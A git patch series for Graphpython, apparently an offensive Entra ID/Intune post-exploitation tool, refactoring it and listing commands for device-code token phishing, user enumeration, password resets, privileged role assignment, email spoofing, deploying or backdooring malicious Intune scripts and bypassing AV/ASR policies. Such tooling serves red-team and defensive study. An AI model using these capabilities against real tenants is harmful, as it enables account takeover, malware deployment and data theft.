From b15ec88c0ad37582187f572a1642861ef179ef27 Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Mon, 22 Jul 2024 17:31:15 +0100 Subject: [PATCH 01/37] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 35f15d7..af9d75b 100644 --- a/README.md +++ b/README.md @@ -185,14 +185,15 @@ Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for the f * **Get-DeviceCategories** - Get device categories * **Get-DeviceComplianceSummary** - Get device compliance summary * **Get-DeviceConfigurations** - Get device configurations -* **Get-DeviceConfigurationPolicies** - Get device configuration policies and assignment details (av, asr, diskenc, etc.) * **Get-DeviceConfigurationPolicySettings** - Get device configuration policy settings * **Get-DeviceEnrollmentConfigurations** - Get device enrollment configurations * **Get-DeviceGroupPolicyConfigurations** - Get device group policy configurations and assignment details * **Get-DeviceGroupPolicyDefinition** - Get device group policy definition * **Get-RoleDefinitions** - Get role definitions * **Get-RoleAssignments** - Get role assignments -* **Get-DeviceCompliancePolicies** - Get all device compliance policies (AV, ASR, Bitlocker, Firewall, EDR, LAPS) assignments +* **Get-DeviceCompliancePolicies** - Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.) +* **Get-DeviceConfigurationPolicies** - Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.) + ### Post-Auth Intune Exploitation From e6404f30b353872c1af4e53aaf8c267742c1bae8 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 02:05:55 +0100 Subject: [PATCH 02/37] Code reformatted --- README.md | 29 +- graphpython.py | 7254 +---------------- graphpython/MANIFEST.in | 1 + graphpython/__init__.py | 1 + graphpython/__main__.py | 216 + graphpython/commands/__init__.py | 1 + graphpython/commands/auth.py | 1200 +++ graphpython/commands/cleanup.py | 152 + graphpython/commands/enum.py | 1108 +++ graphpython/commands/exploit.py | 1339 +++ .../commands}/graphpermissions.txt | 0 graphpython/commands/intune_enum.py | 380 + graphpython/commands/intune_exploit.py | 2047 +++++ graphpython/commands/locators.py | 180 + graphpython/commands/outsider.py | 255 + graphpython/utils/__init__.py | 1 + graphpython/utils/helpers.py | 606 ++ requirements.txt | 3 +- setup.py | 42 + 19 files changed, 7548 insertions(+), 7267 deletions(-) create mode 100644 graphpython/MANIFEST.in create mode 100644 graphpython/__init__.py create mode 100644 graphpython/__main__.py create mode 100644 graphpython/commands/__init__.py create mode 100644 graphpython/commands/auth.py create mode 100644 graphpython/commands/cleanup.py create mode 100644 graphpython/commands/enum.py create mode 100644 graphpython/commands/exploit.py rename {.github => graphpython/commands}/graphpermissions.txt (100%) create mode 100644 graphpython/commands/intune_enum.py create mode 100644 graphpython/commands/intune_exploit.py create mode 100644 graphpython/commands/locators.py create mode 100644 graphpython/commands/outsider.py create mode 100644 graphpython/utils/__init__.py create mode 100644 graphpython/utils/helpers.py create mode 100644 setup.py diff --git a/README.md b/README.md index af9d75b..e95572f 100644 --- a/README.md +++ b/README.md @@ -56,10 +56,21 @@ Graphpython covers external reconnaissance, authentication/token manipulation, e ## Install +> Reformatted entire codebase, more installation options are available now. PyPi install will be supported soon. + +Either install via pip: +``` +git clone https://github.com/mlcsec/Graphpython.git +cd Graphpython +pip install . +graphpython +``` +Or run as before via git and Python3: ``` git clone https://github.com/mlcsec/Graphpython.git cd Graphpython pip3 install -r requirements.txt +python3 graphpython.py ``` ## Usage @@ -606,22 +617,12 @@ Graph permission IDs applied to objects can be easily located with detailed expl ## Todo - Update: - - [x] `Spoof-OWAEmailMessage` - add --email option containing formatted message as only accepts one line at the mo... - - [x] `Deploy-MaliciousScript` - add input options to choose runAsAccount, enforceSignatureCheck, etc. and more assignment options - - [x] `Get-DeviceConfigurationPolicies` - tidy up the templateReference and assignmentTarget output - - [x] `Add-ApplicationPermission` - updated logic and added ability to grant admin consent for admin permissions assigned from the same command - update `Grant-AppAdminConsent` to handle any failures so users don't have to repeat this whole command again - - [X] `Get-Application` - process the `requiredResourceAccess` attribute and resolved any Graph API app role IDs to their role name/description - `List-Applications` updated with this as well + - [ ] `Get-UserPrivileges` - update to flag any privileged directory role app ids + - [ ] `Locate-DirectoryRoleID` - similar to other locator functions but for resolving directory role ids - New: - - [x] `Find-PrivilegedApplications` - identify enterprise applications which have privileged graph api permissions granted - - [x] `Grant-AppAdminConsent` - grant admin consent for requested/applied admin app permissions (if `Add-ApplicationPermission` fails) - - [x] `Backdoor-Script` - first user downloads target script content then adds their malicious code, supply updated script as args, encodes then [patch](https://learn.microsoft.com/en-us/graph/api/intune-shared-devicemanagementscript-update?view=graph-rest-beta) - - [x] `Dump-XApps` - dump-windowsapps, dump-iosapps, dump-macosapps, and dump-android apps managed via Intune to enrolled users/groups/devices - - [ ] `Deploy-MaliciousWin32App` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices + - [ ] `Deploy-MaliciousWin32Exe/MSI` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices - check also [here](https://learn.microsoft.com/en-us/graph/api/resources/intune-app-conceptual?view=graph-rest-1.0) for managing iOS, Android, LOB apps etc. via graph - - [x] `Add-ApplicationCertificate` - similar to add-applicationpassword but gen and assign openssl cert to ent app - - [x] `Display-FirewallConfigPolicyRules` - get Intune firewall configuration policy rules (actually firewall rules already implemented in `Display-FirewallRulePolicyRules`) - [ ] `Update/Deploy-Policy` - update existing rules for av, asr, etc. policy or deploy a new one with specific groups/devices - - [x] `Update-DeviceConfig` - patch settings that aren't read only from existing managed device config, more info [here](https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update?view=graph-rest-beta) - - [x] `New-SignedJWT` - need to test this from sharpgraphview + - [ ] `Invoke-MFASweep` - port mfa sweep and add to outsider commands - Options: - [ ] --proxy option diff --git a/graphpython.py b/graphpython.py index f179564..4586ff0 100644 --- a/graphpython.py +++ b/graphpython.py @@ -1,7256 +1,6 @@ #!/usr/bin/env python3 -import sys -import requests -import json -import jwt -import time -import argparse -import textwrap -import os -import re -import dns.resolver -import base64 -from tqdm import tqdm -from tabulate import tabulate -from datetime import datetime, timedelta, timezone -import hashlib -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.serialization import pkcs12 -from cryptography.hazmat.backends import default_backend -from urllib.parse import urlencode, urlparse, parse_qs -import uuid -import xml.etree.ElementTree as ET -from bs4 import BeautifulSoup +from graphpython.__main__ import main -def print_yellow(message): - print(f"\033[93m{message}\033[0m") - -def print_green(message): - print(f"\033[92m{message}\033[0m") - -def print_red(message): - print(f"\033[91m{message}\033[0m") - -def list_commands(): - - outsider_commands = [ - ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"], - ["Invoke-UserEnumerationAsOutsider", "Checks whether the uer exists within Azure AD"] - ] - - auth_commands = [ - ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"], - ["Get-TenantID", "Get tenant ID for target domain"], - ["Get-TokenScope", "Get scope of supplied token"], - ["Decode-AccessToken", "Get all token payload attributes"], - ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"], - ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"], - ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"], - ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"], - ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"], - ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"], - ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"], - ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"], - ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"], - ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"], - ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"], - ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"], - ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"], - ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"], - ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"], - ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"] - ] - - post_authenum_commands = [ - ["Get-CurrentUser", "Get current user profile"], - ["Get-CurrentUserActivity", "Get recent activity and actions of current user"], - ["Get-OrgInfo", "Get information relating to the target organisation"], - ["Get-Domains", "Get domain objects"], - ["Get-User", "Get all users (default) or target user (--id)"], - ["Get-UserProperties", "Get current user properties (default) or target user (--id)"], - ["Get-UserPrivileges", "Get group/AU memberships and directory roles assgined for current user (default) or target user (--id)"], - ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"], - ["Get-Group", "Get all groups (default) or target group (-id)"], - ["Get-GroupMember", "Get all members of target group"], - ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"], - ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"], - ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"], - ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"], - ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"], - ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"], - ["Get-PersonalContacts", "Get contacts of the current user"], - ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"], - ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"], - ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"], - ["Get-AdministrativeUnitMember", "Get members of administrative unit"], - ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"], - ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"], - ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"], - ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"], - ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"], - ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"], - ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"], - ["List-DirectoryRoles", "List all directory roles activated in the tenant"], - ["List-Notebooks", "List current user notebooks (default) or target user (--id)"], - ["List-ConditionalAccessPolicies", "List conditional access policy objects"], - ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"], - ["List-ConditionalNamedLocations", "List conditional access named locations"], - ["List-SharePointRoot", "List root SharePoint site properties"], - ["List-SharePointSites", "List any available SharePoint sites"], - ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"], - ["List-ExternalConnections", "List external connections"], - ["List-Applications", "List all Azure Applications"], - ["List-ServicePrincipals", "List all service principals"], - ["List-Tenants", "List tenants"], - ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"], - ["List-Chats", "List chats for current user (default) or target user (--id)"], - ["List-ChatMessages", "List messages in target chat (--id)"], - ["List-Devices", "List devices"], - ["List-AdministrativeUnits", "List administrative units"], - ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"], - ["List-RecentOneDriveFiles", "List current user recent OneDrive files"], - ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"], - ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"] - ] - - post_authexploit_commands = [ - ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"], - ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"], - ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"], - ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"], - ["Find-UpdatableGroups", "Find groups which can be updated by the current user"], - ["Find-SecurityGroups", "Find security groups and group members"], - ["Find-DynamicGroups", "Find groups with dynamic membership rules"], - ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"], - ["Update-UserProperties", "Update the user properties of the target user"], - ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"], - ["Add-GroupMember", "Add member to target group"], - ["Add-ApplicationPassword", "Add client secret to target application"], - ["Add-ApplicationCertificate", "Add client certificate to target application"], - ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"], - ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"], - ["Create-Application", "Create new enterprise application with default settings"], - ["Create-NewUser", "Create new Entra ID user"], - ["Invite-GuestUser", "Invite guest user to Entra ID"], - ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"], - ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"], - ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"], - ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"] - ] - - intune_enum = [ - ["Get-ManagedDevices", "Get managed devices"], - ["Get-UserDevices", "Get user devices"], - ["Get-CAPs", "Get conditional access policies"], - ["Get-DeviceCategories", "Get device categories"], - ["Get-DeviceComplianceSummary", "Get device compliance summary"], - ["Get-DeviceConfigurations", "Get device configurations"], - ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (av, asr, diskenc, etc.)"], - ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"], - ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"], - ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"], - ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"], - ["Get-RoleDefinitions", "Get role definitions"], - ["Get-RoleAssignments", "Get role assignments"], - ["Get-DeviceCompliancePolicies", "Get all device compliance policies (AV, ASR, Bitlocker, Firewall, EDR, LAPS) and assignments"] - ] - - intune_exploit = [ - ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"], - ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"], - ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"], - ["Dump-macOSApps", "Dump managed macOS applications"], - ["Dump-AndroidApps", "Dump managed Android mobile applications"], - ["Get-ScriptContent", "Get device management script content"], - ["Backdoor-Script", "Add malicious code to pre-existing device management script"], - ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"], - ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"], - # Deploy-MaliciousWin32Exe - Deploy malicious exe to managed devices - # Deploy-MaliciousWin32MSI - Deploy malicious MSI to managed devices - ["Display-AVPolicyRules", "Display antivirus policy rules"], - ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"], - ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"], - ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"], - ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"], - ["Display-EDRPolicyRules", "Display EDR policy rules"], - ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"], - ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], - ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], - ["Reboot-Device", "Reboot managed device"], - ["Retire-Device", "Retire managed device"], - ["Lock-Device", "Lock managed device"], - ["Shutdown-Device", "Shutdown managed device"], - ["Update-DeviceConfig", "Update properties of the managed device configuration"] - ] - - cleanup_commands = [ - ["Delete-User", "Delete a user"], - ["Delete-Group", "Delete a group"], - ["Remove-GroupMember", "Remove user from a group"], - ["Delete-Application", "Delete an application"], - ["Delete-Device", "Delete managed device"], - ["Wipe-Device", "Wipe managed device"], - ] - - locator_commands = [ - ["Locate-ObjectID", "Locate object ID and display object properties"], - ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required, ...) for ID"] - ] - - print("\nOutsider") - print("=" * 80) - print(tabulate(outsider_commands, tablefmt="plain")) - - print("\nAuthentication") - print("=" * 80) - print(tabulate(auth_commands, tablefmt="plain")) - - print("\nPost-Auth Enumeration") - print("=" * 80) - print(tabulate(post_authenum_commands, tablefmt="plain")) - - print("\nPost-Auth Exploitation") - print("=" * 80) - print(tabulate(post_authexploit_commands, tablefmt="plain")) - - print("\nPost-Auth Intune Enumeration") - print("=" * 80) - print(tabulate(intune_enum, tablefmt="plain")) - - print("\nPost-Auth Intune Exploitation") - print("=" * 80) - print(tabulate(intune_exploit, tablefmt="plain")) - - print("\nCleanup") - print("=" * 80) - print(tabulate(cleanup_commands, tablefmt="plain")) - - print("\nLocators") - print("=" * 80) - print(tabulate(locator_commands, tablefmt="plain")) - print("\n") - -def forge_user_agent(device=None, browser=None): - - user_agent = '' - - if device == 'Mac': - if browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - else: - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - - elif device == 'Windows': - if browser == 'IE': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - else: - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - - elif device == 'AndroidMobile': - if browser == 'Android': - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057' - else: - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - - elif device == 'iPhone': - if browser == 'Chrome': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' - else: - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' - - else: - if browser == 'Android': - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - elif browser == 'IE': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - else: - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - - return user_agent - -def get_user_agent(args): - if args.device: - if args.browser: - return forge_user_agent(device=args.device, browser=args.browser) - else: - return forge_user_agent(device=args.device) - else: - if args.browser: - return forge_user_agent(browser=args.browser) - else: - return forge_user_agent() - -def get_access_token(token_input): - if os.path.isfile(token_input): - encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1'] - for encoding in encodings: - try: - with open(token_input, 'r', encoding=encoding) as file: - access_token = file.read().strip() - return access_token - except UnicodeDecodeError: - continue - - raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.") - else: - access_token = token_input - return access_token - -def read_file_content(file_path): - try: - with open(file_path, 'r', encoding='utf-8') as file: - return file.read() - except UnicodeDecodeError: - with open(file_path, 'r', encoding='utf-16') as file: - return file.read() - -def format_list_style(data): - if not data.get('value'): - print_red("[-] No data found") - return - - for d in data.get('value', []): - for key, value in d.items(): - print(f"{key} : {value}") - print("\n") - -def graph_api_get(access_token, url, args): - try: - output_returned = False - while url: - - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data: - format_list_style(filtered_data) - output_returned = True - - url = response_body.get("@odata.nextLink") - - if not output_returned: - print_red("[-] No data found") - - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - - -def get_tenant_domains(domain): - - domains = [domain] - try: - openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" - response = requests.get(openid_config_url) - response.raise_for_status() - openid_config = response.json() - tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "") - - if tenant_region_sub_scope == "DOD": - autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" - elif tenant_region_sub_scope == "DODCON": - autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" - else: - autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" - - autodiscover_body = f""" - - - - http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation - {autodiscover_url} - - http://www.w3.org/2005/08/addressing/anonymous - - - - - - {domain} - - - - - """.strip() - - headers = { - "Content-Type": "text/xml; charset=utf-8", - "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', - "User-Agent": "AutodiscoverClient" - } - - autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers) - autodiscover_response.raise_for_status() - autodiscover_xml = autodiscover_response.content - tree = ET.ElementTree(ET.fromstring(autodiscover_xml)) - namespaces = { - 's': 'http://schemas.xmlsoap.org/soap/envelope/', - 'a': 'http://www.w3.org/2005/08/addressing', - 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', - 't': 'http://schemas.microsoft.com/exchange/services/2006/types', - 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover' - } - - found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)] - - if domain not in found_domains: - found_domains.append(domain) - - domains = sorted(found_domains) - - except Exception as e: - print(f"An unexpected error occurred: {e}") - - return domains - -def get_credential_type(username, flow_token=None, original_request=None): - body = { - "username": username, - "isOtherIdpSupported": True, - "checkPhones": True, - "isRemoteNGCSupported": False, - "isCookieBannerShown": False, - "isFidoSupported": False, - "originalRequest": original_request, - "flowToken": flow_token - } - - if original_request: - body["isAccessPassSupported"] = True - - try: - response = requests.post("https://login.microsoftonline.com/common/GetCredentialType", - json=body, - headers={"Content-Type": "application/json; charset=UTF-8"}) - response.raise_for_status() - return response.json() - except requests.exceptions.RequestException as e: - print(f"Error in Get-CredentialType: {e}") - return None - -def get_rst_token(url, endpoint_address, username, password="none"): - request_id = str(uuid.uuid4()) - now = datetime.utcnow() - created = now.isoformat() + "Z" - expires = (now + timedelta(minutes=10)).isoformat() + "Z" - - body = f""" - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - {url} - urn:uuid:{str(uuid.uuid4())} - - - {created} - {expires} - - - {username} - {password} - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - {endpoint_address} - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - - """ - - try: - response = requests.post(url, - data=body, - headers={"Content-Type": "application/soap+xml; charset=UTF-8"}, - timeout=10) - response.raise_for_status() - response_xml = response.content - - # parse the response XML (might need to check this) - if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode(): - return True - return False - except requests.exceptions.RequestException as e: - print(f"Error in Get-RSTToken: {e}") - return None - -def does_user_exist(user, method="Normal"): - exists = False - error_details = "" - - if method == "Normal": - cred_type = get_credential_type(user) - if cred_type: - if cred_type.get('ThrottleStatus') == 1: - print("Requests throttled!") - return None - exists = cred_type.get('IfExistsResult') in [0, 6] - else: - if method == "Login": - random_guid = str(uuid.uuid4()) - body = { - "resource": random_guid, - "client_id": random_guid, - "grant_type": "password", - "username": user, - "password": "none", - "scope": "openid" - } - try: - response = requests.post("https://login.microsoftonline.com/common/oauth2/token", - data=body, - headers={"Content-Type": "application/x-www-form-urlencoded"}) - response.raise_for_status() - exists = True - except requests.exceptions.RequestException as e: - error_details = e.response.json().get("error_description", "") - - elif method in ["Autologon", "RST2"]: - request_id = str(uuid.uuid4()) - domain = user.split("@")[1] - password = "none" - now = datetime.utcnow() - created = now.isoformat() + "Z" - expires = (now + timedelta(minutes=10)).isoformat() + "Z" - - if method == "RST2": - url = "https://login.microsoftonline.com/RST2.srf" - end_point = "sharepoint.com" - else: - url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}" - end_point = "urn:federation:MicrosoftOnline" - - try: - response = get_rst_token(url, end_point, user, password) - exists = response is not None - except Exception as e: - error_details = str(e) - - if not exists and error_details: - if error_details.startswith("AADSTS50053"): - exists = True - elif error_details.startswith("AADSTS50126"): - exists = True - elif error_details.startswith("AADSTS50076"): - exists = True - elif error_details.startswith("AADSTS700016"): - exists = True - elif error_details.startswith("AADSTS50034"): - exists = False - elif error_details.startswith("AADSTS50059"): - exists = False - elif error_details.startswith("AADSTS81016"): - print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.") - return None - else: - return None - - return exists - -def main(): - parser = argparse.ArgumentParser( - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=textwrap.dedent('''\ - examples: - graphpython.py --command invoke-reconasoutsider --domain company.com - graphpython.py --command invoke-userenumerationasoutsider --username - graphpython.py --command get-graphtokens - graphpython.py --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token - graphpython.py --command get-users --token eyJ0... -- select displayname,id [--id ] - graphpython.py --command list-recentonedrivefiles --token token - graphpython.py --command invoke-search --search "credentials" --entity driveItem --token token - graphpython.py --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token - graphpython.py --command assign-privilegedrole --token token - graphpython.py --command spoof-owaemailmessage [--id ] --token token --email email-body.txt - graphpython.py --command get-manageddevices --token intune-token - graphpython.py --command deploy-maliciousscript --script malicious.ps1 --token token - graphpython.py --command backdoor-script --id --script backdoored-script.ps1 --token token 